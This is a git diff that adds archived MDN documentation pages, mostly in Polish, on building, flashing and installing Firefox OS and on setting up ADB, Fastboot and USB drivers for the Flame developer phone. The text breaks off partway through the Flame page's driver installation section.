+ <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko" title="en-US/docs/Mozilla/Boot_to_Gecko/Debugging on Boot to Gecko">Debugowanie w Firefox OS</a></dt>
+ <dd>Przewodnik debugowania twoich aplikacji mobilnych i samego Firefox OS.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Boot_to_Gecko_developer_phone_guide" title="/en-US/docs/Mozilla/Boot_to_Gecko/Boot to Gecko developer phone guide">Przewodnik telefonu dla programisty </a><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Boot_to_Gecko_developer_phone_guide" title="/en-US/docs/Mozilla/Boot_to_Gecko/Boot to Gecko developer phone guide">Firefox OS</a></dt>
+ <dd>Przewodnik po telefonie programisty Firefox OS, który Mozilla zapewnia niektórym programistom. Ten przewodnikma zastosowanie również wtedy, gdy ktoś zainstalował Firefox OS na twoim telefonie za ciebie.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Porting" title="/en-US/docs/Mozilla/Boot_to_Gecko/Porting">Przenoszenie Firefox OS</a></dt>
+ <dd>Informacja o tym jak przenieść Firefox OS na nowe urządzenie.</dd>
+ </dl>
+
+ <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">Zobacz wszystko...</a></span></p>
+ </td>
+ <td>
+ <h2 class="Community" id="Community" name="Community">Jak dostać pomoc od społeczności</h2>
+
+ <p>Jeśli pracujesz z Firefox OS lub tworzysz aplikacje, które chcesz uruchomić na urządzeniach z Firefox OS, tutaj są wspólne zasoby, aby ci pomóc!</p>
+
+ <ul>
+ <li>Zadawaj swoje pytania na kanale IRC Mozilli do spraw Gecko: <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a></li>
+ </ul>
+
+ <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Nie zapominaj o netykiecie...</a></span></p>
+
+
+ <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Powiązane tematy</h2>
+
+ <ul>
+ <li><a href="/en-US/docs/Mobile" title="en-US/docs/Mobile">Mobilność</a></li>
+ <li><a href="/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a></li>
+ <li><a href="/en-US/docs/CSS" title="en-US/docs/CSS">CSS</a></li>
+ <li><a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a></li>
+ </ul>
+
+ <h2 class="Tools" id="Zasoby">Zasoby</h2>
+
+ <ul>
+ <li><a class="link-https" href="https://wiki.mozilla.org/B2G/FAQ" title="B2G/FAQ">Mozilla wiki FAQ</a></li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/B2G/Schedule_Roadmap" title="https://wiki.mozilla.org/B2G/Schedule_Roadmap">Mapa drogowa</a></li>
+ <li><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Feature_support_chart" title="/en-US/docs/Mozilla/Boot_to_Gecko/Feature_support_chart">Tabela opcji pomocy</a></li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/archive/b2g_os/instalacja_firefox_os/index.html b/files/pl/archive/b2g_os/instalacja_firefox_os/index.html
new file mode 100644
index 0000000000..792927987e
--- /dev/null
+++ b/files/pl/archive/b2g_os/instalacja_firefox_os/index.html
@@ -0,0 +1,72 @@
+---
+title: Instalacja Firefox OS
+slug: Archive/B2G_OS/Instalacja_Firefox_OS
+tags:
+ - Android
+ - Firefox
+ - Firefox OS
+ - FirefoxOS
+ - Gaia
+ - OS
+ - dual boot
+ - instalacja
+ - konfiguracja
+ - sgs2
+ - system
+translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS
+---
+<p>Ponieważ Firefox OS jest aktualnie w fazie ciągłego rozwoju (przedpremierowa wersja) najlepszą drogą do upewnienia się, że posiadamy jego aktualną wersję jest instalcja ręczna. Poniższe artykuły pomogą Ci przejść przez proces przygotowania i instalacji Firefox OS na emulatorze, kompatybilnym urządzeniu lub w interfejsie użytkownika <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Introduction_to_Gaia" title="en-US/docs/Mozilla/Boot_to_Gecko/Introduction_to_Gaia">Gaia</a> przeglądarki Firefox.</p>
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 class="Documentation" id="Pobieranie_i_konfiguracja_Firefox_OS">Pobieranie i konfiguracja Firefox OS</h2>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Boot_to_Gecko/B2G_build_prerequisites" title="en-US/docs/Mozilla/Boot_to_Gecko/B2G build prerequisites">Wymagania Firefox OS</a></dt>
+ <dd>
+ Co potrzebujesz(oraz co musisz zrobić) zanim skonfigurujesz Firefox OS po raz pierwszy.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Preparing_for_your_first_B2G_build" title="/en-US/docs/Mozilla/Boot_to_Gecko/Preparing for your first B2G build">Przygotowanie do konfiguracji Firefox OS</a></dt>
+ <dd>
+ <span id="result_box" lang="pl"><span class="hps">Zanim będzie można</span> konfigurować <span class="hps">Firefox</span> <span class="hps">OS</span><span>, trzeba</span> <span class="hps">sklonować repozytorium</span><span class="hps">.</span> <span class="hps">W tym artykule opisano</span><span>, jak to zrobić</span><span>.</span></span></dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Building_Boot_to_Gecko" title="en-US/docs/Mozilla/Boot_to_Gecko/Building Boot to Gecko">Konfiguracja Firefox OS</a></dt>
+ <dd>
+ Jak skonfigurować Firefox OS.</dd>
+ </dl>
+ <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">Więcej...</a></span></p>
+ </td>
+ <td>
+ <h2 class="Community" id="Instalacja_Firefox_OS_ilub_Gaia">Instalacja Firefox OS i/lub Gaia</h2>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Choosing_how_to_run_Gaia_or_B2G" title="en-US/docs/Mozilla/Boot_to_Gecko/Choosing how to run Gaia or B2G">Sposób uruchamiania interfejsu Gaia lub Firefox OS</a></dt>
+ <dd>
+ Możesz używać interfejsu Gaia w Firefoxie lub uruchamiać Firefox OS na urządzeniu mobilnym lub w symulatorze okienkowym na komputerze. Ten przewodnik pomoże wybrać odpowiednie rozwiązanie dla Ciebie.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_Gaia_in_Firefox" title="en-US/docs/Mozilla/Boot_to_Gecko/Using Gaia in Firefox">Używanie intefejsu Gaia w Firefoxie</a></dt>
+ <dd>
+ Jak używać interfejsu Gaia w przeglądarce Firefox na komputerze.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client" title="en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client">Używanie klienta okienkowego Firefox OS</a></dt>
+ <dd>
+ Artykuł poświęcony używaniu klienta okienkowego Firefox Os; Symuluje interfejs Gaia w oknie aplikacji. Jest to lepsze rozwiązanie od pracy w oknie przeglądarki, ale gorsze od używania emulatorów.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Boot_to_Gecko/Using the B2G emulators">Używanie emulatorów Firefox OS</a></dt>
+ <dd>
+ Artykuł dotyczący wyboru wersji emulatora Firefox Os, jego konfiguracji i instalacji.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Installing_Boot_to_Gecko_on_a_mobile_device" title="en-US/docs/Mozilla/Boot_to_Gecko/Installing Boot to Gecko on a mobile device">Instalacja Firefox OS na urządzeniu mobilnym</a></dt>
+ <dd>
+ Jak zainstalować system Firefox OS na urządzeniu mobilnym.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Dual_boot_of_B2G_and_Android_on_SGS2" title="/en-US/docs/Mozilla/Boot_to_Gecko/Dual boot of B2G and Android on SGS2">Dual boot Firefox OS oraz Androida na SGS2</a></dt>
+ <dd>
+ Jak przygotować Firefox OS/ Androida do dual boot'a na Samsungu Galaxy S2</dd>
+ </dl>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/pl/archive/b2g_os/instalacja_firefox_os/streszczenie_procesu_budowania_firefox_os/index.html b/files/pl/archive/b2g_os/instalacja_firefox_os/streszczenie_procesu_budowania_firefox_os/index.html
new file mode 100644
index 0000000000..3666a7ded4
--- /dev/null
+++ b/files/pl/archive/b2g_os/instalacja_firefox_os/streszczenie_procesu_budowania_firefox_os/index.html
@@ -0,0 +1,149 @@
+---
+title: Streszczenie procesu kompilowania Firefox OS
+slug: Archive/B2G_OS/Instalacja_Firefox_OS/Streszczenie_procesu_budowania_Firefox_OS
+tags:
+ - Firefox OS
+ - Kompilowanie
+ - instalacja
+ - install
+translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary
+---
+<div class="summary">
+<p>Kompilowanie i instalowanie systemu Firefox OS wymaga dużo wolnego czasu, szybkiego łącza internetowego i wysokiej mocy obliczeniowej komputera. Niestety podczas tak długiego procesu coś może pójść nie tak. Na tej stronie znajdują się  informacje, które pomogą przebyć tę długą drogę.</p>
+</div>
+
+<div class="note">
+<p><strong style="font-weight: bold;">Notatka:</strong> Podczas czytania artykułów dotyczących kompilowania Firefox OS natkniesz się na określenia "B2G", lub "Boot2Gecko". "Boot2Gecko" jest oficjalną nazwą kodową systemu Firefox OS.</p>
+</div>
+
+<h2 id="Główny_cel_uzyskanie_czterech_plików_.img">Główny cel: uzyskanie czterech plików .img</h2>
+
+<p> </p>
+
+<table style="margin: 4px auto; vertical-align: top; width: 90%;">
+ <tbody>
+ <tr>
+ <td><strong>boot.img</strong></td>
+ <td>Zawiera rdzeń Linuxa, system plików i podstawowe narzędzia Unixowe.</td>
+ </tr>
+ <tr>
+ <td><strong>system.img</strong></td>
+ <td>Znajduje się tam główny rdzeń systemu Firefox OS, czyli Gonk, Gecko i plik wykonywalny b2g.</td>
+ </tr>
+ <tr>
+ <td><strong>userdata.img</strong></td>
+ <td>Tutaj zawarty jest profil Gecko i aplikacje Gaia.</td>
+ </tr>
+ <tr>
+ <td><strong>recovery.img</strong></td>
+ <td>Tak samo jak boot.img, zawiera rdzeń Linuxa i system plików, ale odpowiada za udostępnienie użytkownikowi narzędzi do naprawy uszkodzonego urządzenia.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Kiedy te cztery obrazy zostaną stworzone, mogą zostać przesłane do urządzenia.</p>
+
+<p>Firefox OS jest tworzony na podstawie Android Open Source Project (AOSP). Narzędzia AOSP takie jak<code> adb</code> lub <code>fastboot </code>pozwalają na zaawansowane zarządzanie urządzeniem. Przykładem może być komenda <code>adb reboot-bootloader</code>, która sprawia, że urządzenie zrestartuje się i zatrzyma rozruch systemu na wczesnym etapie, co umożliwi przesłanie obrazu systemu poprzez wpisanie komendy <code>fastboot flash $partition $image</code>.</p>
+
+<h3 id="Pierwszy_obraz_boot.img">Pierwszy obraz: boot.img</h3>
+
+<p>Zawiera rdzeń Linuxa, odpowiadający za uruchamianie podstawowych programów i wykonywanie skryptów. Zostanie przesłany na partycję "boot" i dostęp do niego będzie możliwy poprzez użycie komendy <code>adb shell</code>. Ponieważ jest najważniejszą częścią systemu, aby go modyfikować, potrzeba uprawnień <strong>root</strong>.</p>
+
+<p>Możliwe jest również modyfikowanie istniejącego już obrazu boot.img, poprzez przeglądanie, kopiowanie,  ponowne kompilowanie jego elementów. Takie operacje zostały opisane na tej stronie: <a href="http://k.japko.eu/alcatel-otf-hackers-guide-1.html">Alcatel One Touch Fire Hacking (Mini) Guide</a>.</p>
+
+<p>Obrazy <code>boot.img</code> mogą zostać przetestowane przed przesłaniem ich. Gdy urządzenie będzie w trybie bootloadera, wystarczy użyć narzędzia <code>fastboot</code> do uruchomienia obrazu boot.img. Nie trzeba wtedy instalować obrazu na urządzeniu, tak, jak miałoby to miejsce w przypadku komendy <code>fastboot boot /ścieżka/do/boot.img</code>.</p>
+
+<h3 id="Drugi_obraz_system.img">Drugi obraz: system.img</h3>
+
+<p>Obraz systemu (<code>system.img</code>) zawiera główne elementy systemu Firefox OS:</p>
+
+<ul>
+ <li><strong>Gonk</strong>: nisko-poziomowy dostęp systemu do komponentów urządzenia.</li>
+ <li><strong>Gecko</strong>: silnik przeglądarki Firefox, przystosowany do obsługi urządzeń mobilnych.</li>
+ <li><strong>B2G</strong>: główny proces systemowy.</li>
+</ul>
+
+<div class="note">
+<p>Więcej informacji o budowie systemu znajdziesz na stronie <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform">Firefox OS platform</a>.</p>
+</div>
+
+<p>Obraz systemu zostanie przesłany na główną partycję urządzenia (utworzoną przez obraz <code>boot.img</code>), a wszystkie pliki systemowe będą znajdowały się w folderze <code>/system/</code>.</p>
+
+<div class="note">
+<p><strong>Notatka</strong>: Obraz systemu zawiera również plamy binarne (binary blobs), które mogą zostać wykorzystane przez urządzenie do kontrolowania radia komórkowego.</p>
+</div>
+
+<h3 id="Trzeci_obraz_userdata.img">Trzeci obraz: userdata.img</h3>
+
+<p>Obraz z danymi użytkownika zawiera aplikacje Gaia, które są wykorzystywane podczas pracy systemu.</p>
+
+<p>Obraz <code>userdata.img</code> zostanie umieszczony na partycji <code>userdata</code>, a jego zawartość będzie widoczna w folderze <code>/data/</code> wtedy, gdy system plików urządzenia będzie z niego korzystał. Trzeba również wspomnieć, że folder <code>/data/b2g/</code> zawiera profil platformy Gecko, a zawartością folderu <code>/data/local/webapps/</code> są wszystkie aplikacje, które znajdują się w pamięci urządzenia.</p>
+
+<h3 id="Czwarty_obraz_recovery.img">Czwarty obraz: recovery.img</h3>
+
+<p>Obraz przywracania systemu zawiera taki sam rdzeń, jaki ma obraz <code>boot.img</code>. Różnicą jest sposób wykonywania skryptu, co pozwala użytkownikowi na aktywowanie skryptu przywracającego system poprzez użycie fizycznych przycisków na urządzeniu.</p>
+
+<p>Obraz <code>recovery.img</code> zostanie umieszczony na partycji <code>recovery </code>i nie może on zostać zmodyfikowany podczas działania systemu.</p>
+
+<h2 id="Proces_kompilacji">Proces kompilacji</h2>
+
+<p>Cały proces kompilacji systemu Firefox OS składa się z następujących etapów:</p>
+
+<table style="margin: 4px auto; vertical-align: top; width: 90%;">
+ <tbody>
+ <tr>
+ <td><strong>Przygotowania</strong></td>
+ <td>Uzyskanie wszystkich programów potrzebnych do przeprowadzenia procesu kompilacji. Do tych programów zaliczają się kompilatory, biblioteki itp.</td>
+ </tr>
+ <tr>
+ <td><strong>Konfiguracji</strong></td>
+ <td>Pobranie kodu źródłowego i utworzenie pliku <code>.configure</code>, w którym zawarte będą zmiennie, ścieżki i inne wartości, które zostaną wykorzystane w procesie kompilacji.</td>
+ </tr>
+ <tr>
+ <td><strong>Tworzenia</strong></td>
+ <td>Tworzenie profili platformy Gecko i aplikacji Gaia dla urządzenia.</td>
+ </tr>
+ <tr>
+ <td><strong>Instalowania</strong></td>
+ <td>Zainstalowanie na urządzeniu wcześniej przygotowanych plików.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Przygotowanie">Przygotowanie</h3>
+
+<p>Należy przeprowadzić konfigurację wstępną, aby upewnić się, że komputer ma wszystkie narzędzia, potrzebne do skompilowania systemu. Do takich narzędzi zalicza się m.in. kompilator.</p>
+
+<p>Ten krok można wykonać przy użyciu skryptu. Szczegóły zostały omówione na <a href="https://developer.mozilla.org/en-US/Firefox_OS/Firefox_OS_build_prerequisites" title="Firefox OS build prerequisites">tej stronie</a>.</p>
+
+<div class="note">
+<p><strong>Notatka</strong>: Na Unixowych systemach można sprawdzić obecność wymaganego oprogramowania, poprzez komendę <code>which</code>. Parametrem komendy <code>which</code> jest sprawdzany program.</p>
+</div>
+
+<h3 id="Konfiguracja">Konfiguracja</h3>
+
+<p>Aktualny krok zaczyna się wraz z uzyskaniem plików systemu Firefox OS. W uzyskaniu tych plików może pomóc narzędzie <code>git</code>. Konfiguracja obejmie cały kod źródłowy i utworzy plik<code> .config</code>, w którym znajdą się zmienne dla kompilowanego systemu.</p>
+
+<p>Konfiguracja rozpocznie się po uruchomieniu skryptu <code>config.sh</code>. Szczegóły zostały omówione na stronie <a href="/en-US/Firefox_OS/Preparing_for_your_first_B2G_build" title="Preparing for your first B2G build">Preparing for your first B2G build</a>.</p>
+
+<p>Skrypt konfiguracyjny potrzebuje parametrów urządzenia, na którym ma zostać zainstalowany system Firefox OS. Nazwa tworzonego systemu jest nazwą kodową powiązaną z architekturą CPU, a nie z konkretnym urządzeniem. Lista nazw kodowych znajduje się <a href="/en-US/Firefox_OS/Phones">tutaj</a>.</p>
+
+<p>Podczas konfiguracji używane jest również narzędzie Android Open Source Project <code>repo</code>. Pozwala ono na pobranie lub zaktualizowanie kodu używanego podczas procesu kompilacji.</p>
+
+<h3 id="Kompilacja">Kompilacja</h3>
+
+<p>W tym kroku zaczyna się kompilacja kodu źródłowego i uzyskanie czterech obrazów.</p>
+
+<p>Kompilacja uruchomi się po aktywowaniu skryptu <code>build.sh</code>. Szczegóły zostały omówione na stronie <a href="/en-US/Firefox_OS/Building" title="Building">Building Firefox OS</a>.</p>
+
+<p>Możliwe jest skompilowanie tylko części systemu Firefox OS. Można to zrobić poprzez dodanie do skryptu kompilującego jednego parametru. Na przykład, jeżeli chcemy uzyskać tylko element gaia, to dodajemy parametr <code>gaia</code>.</p>
+
+<p>Możliwe jest również skompilowanie obrazów omówionych na początku tej strony. Jeżeli chcemy skompilować obraz <code>system.img</code>, możemy to zrobić komendą <code>./build.sh out/platform/$target/system.img </code>(parametr <code>$target</code> jest taki sam, jak w procesie konfiguracji).</p>
+
+<h3 id="Instalacja">Instalacja</h3>
+
+<p>Należy uruchomić skrypt <code>flash.sh</code>, aby nowo skompilowany kod trafił do pamięci urządzenia.</p>
+
+<p>Możliwe jest zainstalowanie tylko poszczególnych części systemu. Żeby to zrobić, trzeba dodać parametr do skryptu <code>flash.sh</code>. Na przykład, żeby zainstalować tylko aplikacje Gaia, wystarczy wpisać <code>./flash.sh gaia</code>.</p>
diff --git a/files/pl/archive/b2g_os/phone_guide/index.html b/files/pl/archive/b2g_os/phone_guide/index.html
new file mode 100644
index 0000000000..d90e90d259
--- /dev/null
+++ b/files/pl/archive/b2g_os/phone_guide/index.html
@@ -0,0 +1,53 @@
+---
+title: Firefox OS developer phone guide
+slug: Archive/B2G_OS/Phone_guide
+tags:
+ - B2G
+ - Firefox OS
+ - Landing
+ - NeedsTranslation
+ - Phones
+ - TopicStub
+translation_of: Archive/B2G_OS/Phone_guide
+---
+<div class="summary">
+ <p>This section contains developer information relevant to specific phones that run Firefox OS. We have general information available on <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS" title="Building and installing Firefox OS">Building and installing Firefox OS</a> and <a href="/en-US/docs/Mozilla/Firefox_OS/Hacking_Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS/Hacking_Firefox_OS">Hacking Firefox OS</a>, so please go there for information about building and installing the platform from scratch. Developers with specific phones in their possession may however find the following articles useful.</p>
+</div>
+<h2 id="Specific_device_information">Specific device information</h2>
+<dl>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Phones">Firefox OS phone data</a></dt>
+ <dd>
+ In this article we list the various available Firefox OS phones along with information such as their code names, availability, and specific hardware features.</dd>
+ <dt>
+ <a href="/en-US/Firefox_OS/Developer_phone_guide/Flame">Flame</a></dt>
+ <dd>
+ Information on Mozilla's high-end Firefox OS reference phone, codenamed the Flame, and produced in partnership with T<sup>2</sup>Mobile.</dd>
+ <dt>
+ <a href="/en-US/Firefox_OS/Developer_phone_guide/Geeksphone">Geeksphone</a></dt>
+ <dd>
+ In this article we cover some basic tips on how to keep your Geeksphone up-to-date and how to tweak the system Gaia applications.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/ZTE_OPEN">ZTE OPEN</a></dt>
+ <dd>
+ This article contains information on the ZTE OPEN Firefox OS device.</dd>
+ <dt>
+ <a href="/en-US/Firefox_OS/Developer_phone_guide/ZTE_OPEN_C">ZTE OPEN C</a></dt>
+ <dd>
+ The ZTE Open C is an updated ZTE-produced Firefox OS device, with higher end hardware and newer software.</dd>
+</dl>
+<h2 id="General_Firefox_OS_information">General Firefox OS information</h2>
+<dl>
+ <dt>
+ <a href="/en-US/Firefox_OS/Developer_phone_guide/Firefox_OS_device_features">General device features</a></dt>
+ <dd>
+ This page lists typical Firefox OS hardware features and minimum hardware requirements.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Troubleshooting">Troubleshooting</a></dt>
+ <dd>
+ This article provides tips for resolving common problems you may have while using Firefox OS.</dd>
+ <dt>
+ <a href="/en-US/Firefox_OS/Developer_phone_guide/Best_practices_open_reference_devices">Best practices for open reference devices</a></dt>
+ <dd>
+ A set of best practices that we believe should come highly recommended for any widely available open reference devices. All of the recent Firefox OS reference devices have followed these practices.</dd>
+</dl>
diff --git a/files/pl/archive/b2g_os/phone_guide/płomień/index.html b/files/pl/archive/b2g_os/phone_guide/płomień/index.html
new file mode 100644
index 0000000000..ab4c222e60
--- /dev/null
+++ b/files/pl/archive/b2g_os/phone_guide/płomień/index.html
@@ -0,0 +1,384 @@
+---
+title: płomień
+slug: Archive/B2G_OS/Phone_guide/płomień
+translation_of: Archive/B2G_OS/Phone_guide/Flame
+---
+<div class="geckoVersionNote">
+<p><strong>Updates on your Flame</strong>: We encourage you to join the following mailing list to receive periodic updates on software builds and other news affecting your Flame device: <a href="https://mail.mozilla.org/listinfo/flamenews">https://mail.mozilla.org/listinfo/flamenews</a></p>
+</div>
+
+<p><img alt="A picture of the Flame device, showing the Firefox OS homescreen containing several app icons." src="https://mdn.mozillademos.org/files/8373/flame-dev-hud.png" style="float: left; margin-bottom: 20px; margin-right: 50px; width: 25%;"></p>
+
+<h2 id="Available_to_order" style="text-indent: 100%; white-space: nowrap; overflow: hidden; margin: 0; height: 0;">Available to order</h2>
+
+<p><span class="seoSummary">The Flame developer reference phone is a milestone in Firefox OS device releases. The Flame hardware offers a representative set of specs — including FWVGA display and dual-core processor — to help developers build great content and experiences. A single hardware platform is also good for testers, making it easier to test and address specific software issues without having to worry about device model-specific bugs, etc.</span></p>
+
+<p>If you have your phone in hand and want to start playing with it, developing and distributing apps, or contributing to the Firefox platform, the following links will get you where you need to go:</p>
+
+<ul>
+ <li><a href="/en-US/Firefox_OS">Firefox OS zone</a>: For creating your own Firefox OS builds and contributing to the B2G and Gaia projects.</li>
+ <li><a href="/en-US/Apps">App Center zone</a>: For building open web apps compatible with Firefox OS.</li>
+ <li><a href="/en-US/Marketplace">Marketplace zone</a>: For information on publishing and distributing apps.</li>
+ <li><a href="https://marketplace.firefox.com/">Firefox Marketplace</a>: The best place to find and publish new Firefox OS apps.</li>
+</ul>
+
+<p>If you’d like to find out more about updating the operating system, recovering it, pushing apps to it, or phone specs, you’ll find the information you need below.</p>
+
+<h2 id="Purchasing_a_device">Purchasing a device</h2>
+
+<p>Our device manufacturer partner has made the device <a href="http://www.everbuying.com/product549652.html">available to order</a> on everbuying.com, for US$170 including global shipping (device cost is $145, shipping is $25 and custom fees may still apply, depending on the destination country). The device is bootloader- and carrier-unlocked, and it utilizes a quad-band GSM+UMTS radio so that it can work with a wide variety of operators/carriers.</p>
+
+<h2 id="Important_steps_to_follow_first">Important steps to follow first</h2>
+
+<p>There are a couple of steps you should make sure you follow for your particular operating system, before you start trying to update your device, for example by updating your Flame's version of Firefox OS, or pushing apps to your phone (both are covered below.)</p>
+
+<h3 id="All_operating_systems">All operating systems</h3>
+
+<p>You need to install ADB and Fastboot on your computer — these are applications that allow you to interact with your phone from your computer when the two are connected via the phone's USB charger cable. They are needed for Flashing your phone to a new version of Firefox OS, recovering from an unresponsive state, pushing apps to your phone, etc.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you are on Ubuntu you can install ADB and Fastboot simply by using <code>sudo apt-get install android-tools-adb android-tools-fastboot</code> on the command line.</p>
+</div>
+
+<p>ADB and Fastboot are available in the <a class="external external-icon" href="http://developer.android.com/sdk/index.html" title="Android Developer Tookit">Android Developer Toolkit</a>:</p>
+
+<ol>
+ <li>Go to the above link.</li>
+ <li>Press the <em>Download Eclipse ADT</em> button.</li>
+ <li>Agree to the license conditions.</li>
+ <li>Choose between the 32-bit and 64-bit version (32-bit will do if you are not sure).</li>
+ <li>Click the final <em>Download Eclipse ADT with the Android SDK...</em> button.</li>
+ <li>Once the download is complete, unzip the zip file's contents onto your computer's desktop.</li>
+ <li>The folder name is a bit complicated; rename it to just <em>adt.</em></li>
+</ol>
+
+<p>ADB is a tool that you run from the command line. If you open your terminal/command prompt, go to adt/sdk/platform-tools and run the <code>adb</code> command, you should see a load of information thrown back at you about what you can do with ADB. Running <code>adb devices</code> should return the line <code>List of devices attached</code>, and nothing else, because you haven't got any devices attached yet.</p>
+
+<p>But at this point, you need to set the PATH variable to point to the ADB tool, so you can run it from anywhere, not just when you are in the exact directory that ADB is in.</p>
+
+<p>To do this on Windows 8 (Windows 7 will be very similar, but with slightly different menu options):</p>
+
+<ul>
+ <li>Right click on the Windows button in the bottom left and select <em>Control Panel</em> &gt; <em>System and Security</em> &gt; <em>System</em> &gt; <em>Advanced System settings</em> &gt; <em>Environment Variables</em>.</li>
+ <li>In the <em>System variables</em> list, find the one called <em>Path</em>, select it, then click <em>Edit...</em></li>
+ <li>In the <em>Variable value</em> text field of the resulting dialog box, make sure you are at the end of the big string of characters in the box, then type a semi colon (;), followed by the location of the adb tool on your system, which should be <em>C:\Users\[YOUR USER NAME]\Desktop\adt\sdk\platform-tools</em>.<br>
+ <br>
+ So if your user name is jamessmith, you would enter ;<em>C:\Users\jamessmith\Desktop\adt\sdk\platform-tools</em>.</li>
+ <li>Press <em>OK</em> on all the dialog boxes you opened up in this section.</li>
+ <li>Close your command prompt, open a new one, and test it by typing <code>adb devices</code>. If it comes up with <code>List of devices attached</code>, you are successful!</li>
+</ul>
+
+<p>On Mac/Linux:</p>
+
+<ul>
+ <li>In the Finder app, go to your home folder (the one with the house icon.)</li>
+ <li>If you can't already see hidden files (for example, system files with dots (.) at the beginning), go to Terminal and enter the command <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, then restart Finder.</li>
+ <li>Open your <code>.bash_profile</code> or <code>.bashrc</code> file in a plain text editor like Text Wrangler or Sublime Text (it needs to be a plain text editor.)</li>
+ <li>Inside the file, add a new line <code>PATH=/Users/<em>[YOUR USER NAME]</em>/Desktop/adt/sdk/platform-tools:$PATH</code></li>
+ <li>Save and close the file.</li>
+ <li>Restart your terminal, and test it by typing <code>adb devices</code>. If it comes up with <code>List of devices attached</code>, you are successful!</li>
+</ul>
+
+<h3 id="Extra_steps_for_Linux_and_Mac">Extra steps for Linux and Mac</h3>
+
+<p>No additional steps should be required if you are using a Linux or Mac system, although depending on your Linux distro, you might need to <a href="https://developer.mozilla.org/en-US/Firefox_OS/Firefox_OS_build_prerequisites#For_Linux.3A_configure_the_udev_rule_for_your_phone">add a udev rule</a> for your phone.</p>
+
+<p>The udev rule for the Flame should look something like the following:</p>
+
+<pre>SUBSYSTEM=="usb", ATTRS{idVendor}=="05c6", ATTRS{idProduct}=="9025", GROUP="users", MODE="0666"</pre>
+
+<p>Make sure to <code>--reload-rules</code>, then unplug and replug and your device before continuing.</p>
+
+<h3 id="Extra_steps_for_Windows">Extra steps for Windows</h3>
+
+<p>To access the Flame device with the <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a> and Mozilla dev tools like <a href="/en-US/Firefox_OS/Using_the_App_Manager">App Manager</a>/<a href="/en-US/docs/Tools/WebIDE">WebIDE</a>, a USB driver is required. Follow the steps outlined in the below sections to install it.</p>
+
+<h4 id="Downloading_the_driver">Downloading the driver</h4>
+
+<p><a href="http://cds.w5v8t3u9.hwcdn.net/Alcatel_USB_Driver_Q_4.0.0_2013_11_11_noinstall.zip">Download the Windows driver from this location</a>. Once downloaded, extract the contents of the ZIP file to a suitable place on your hard drive.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The Android Debug Bridge (<a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a>) must be installed first: see instructions above if you've not already done this.</p>
+</div>
+
+<h4 id="Installing_the_USB_Driver">Installing the USB Driver</h4>
+
+<p>At this point, connect your Flame device to your computer using a USB cable.</p>
+
+<p>To install the driver, open the <code>Alcatel_USB_Driver_Q_4.0.0_2013_11_11_noinstall</code> directory within the extracted ZIP file and double click on the <code>DriverInstaller.exe</code> executable. You may receive a warning at this point that the executable is from an unknown publisher. If so, select the <em>Yes</em> button and the executable will be launched.</p>
+
+<p><img alt="Simple dialog box showing a picture of a phone along with install and uninstall buttons." src="https://mdn.mozillademos.org/files/8079/driver-install.png" style="display: block; height: 523px; margin: 0px auto; width: 358px;"></p>
+
+<p>Click on the <em>Install</em> button to install the driver.</p>
+
+<p>After the driver installs, you can check that it is working by opening a command line window and typing <code>adb devices</code>. This should list the connected device with an output something like:</p>
+
+<pre>List of devices attached
+3561d02a device</pre>
+
